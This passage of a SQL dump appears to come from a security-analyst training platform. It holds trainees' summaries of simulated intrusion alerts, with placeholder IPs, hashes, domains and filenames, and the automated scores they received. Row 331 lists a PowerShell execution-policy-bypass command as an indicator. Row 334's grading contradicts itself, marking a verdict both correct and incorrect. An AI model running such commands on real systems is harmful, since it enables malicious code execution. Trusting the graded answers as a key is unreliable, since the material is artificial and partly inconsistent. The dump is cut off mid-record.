(325, 213, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:30:49\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:30:51.247Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:29:19', '2026-02-28 21:00:00', 0, NULL),
(326, 213, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:32:15\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:32:35.654Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:30:51', '2026-02-28 21:00:00', 0, NULL),
(327, 213, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:34:07\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:34:08.145Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:32:35', '2026-02-28 21:00:00', 0, NULL),
(328, 213, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:35:25\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:35:25.868Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:34:08', '2026-02-28 21:00:00', 0, NULL),
(329, 213, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:38:14\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:38:14.483Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:35:33', '2026-02-28 21:00:00', 0, NULL),
(330, 210, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 21:36:40', '2026-02-26 21:36:40', 0, NULL),
(331, 213, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:39:37\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:39:42.138Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:38:14', '2026-02-28 21:00:00', 0, NULL),
(332, 213, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:40:58\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:40:59.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:39:42', '2026-02-28 21:00:00', 0, NULL),
(333, 213, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:43:12\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:43:14.905Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:41:02', '2026-02-28 21:00:00', 0, NULL),
(334, 210, 937, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-192.168.1.10\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\",\"close_alert\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 4:49:51 PM\\nALERT: Unusual Login Failure from Known Safe IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 192.168.1.10\\n- [USERNAME] bsmith\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:49:59.093Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-26 21:42:08', '2026-02-28 21:00:00', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(335, 213, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:44:40\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:44:41.105Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:43:21', '2026-02-28 21:00:00', 0, NULL),
(336, 213, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:45:36\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:45:38.784Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:44:41', '2026-02-28 21:00:00', 0, NULL),
(337, 213, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:46:38\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:46:38.462Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:45:38', '2026-02-28 21:00:00', 0, NULL),
(338, 213, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:47:43\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:47:43.288Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:46:38', '2026-02-28 21:00:00', 0, NULL),
(339, 213, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:50:00\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:50:20.996Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:47:47', '2026-02-28 21:00:00', 0, NULL),
(340, 213, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:52:12\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:52:13.392Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:50:21', '2026-02-28 21:00:00', 0, NULL),
(341, 213, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:53:40\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:53:40.267Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:52:13', '2026-02-28 21:00:00', 0, NULL),
(342, 213, 288, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:54:38\\nALERT: Disinformation Campaign Planning Uncovered [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.105\\n- [HASH] 8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\n- [FILENAME] election_strategy_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:54:38.371Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:53:40', '2026-02-28 21:00:00', 0, NULL),
(343, 213, 289, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 21:54:45', '2026-02-26 21:54:45', 0, NULL),
(344, 210, 713, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-212.47.229.1\",\"ip-192.168.1.10\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 4:56:35 PM\\nALERT: Failed Login Attempts from Unusual Location\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 212.47.229.1\\n- [IP] 192.168.1.10\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:56:46.733Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:55:01', '2026-02-28 21:00:00', 0, NULL),
(345, 210, 680, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.30.5\",\"ip-192.168.30.10\",\"artifact_2\"],\"selectedActions\":[\"close_alert\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 5:00:09 PM\\nALERT: Innocuous User Activity Mistaken for Attack\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.30.5\\n- [IP] 192.168.30.10\\n- [USERNAME] jane.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst 